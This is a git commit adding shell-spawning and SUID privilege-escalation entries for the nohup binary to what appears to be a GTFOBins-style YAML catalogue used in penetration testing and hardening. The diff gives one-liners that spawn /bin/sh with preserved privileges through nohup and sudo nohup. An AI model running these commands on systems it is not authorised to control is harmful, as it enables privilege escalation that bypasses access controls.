Add (suid) shell for nohup

This commit is contained in:
Andrea Cardaci 2020-03-15 12:15:43 +01:00
parent 8eaeb29c18
commit 8b41830d0b

View File

@ -1,13 +1,14 @@
---
functions:
shell:
- code: nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
command:
- code: |
COMMAND='/usr/bin/id'
nohup "$COMMAND"
cat nohup.out
sudo:
- code: |
COMMAND='/usr/bin/id'
sudo nohup "$COMMAND"
sudo cat nohup.out
- code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
suid:
- code: sudo nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
---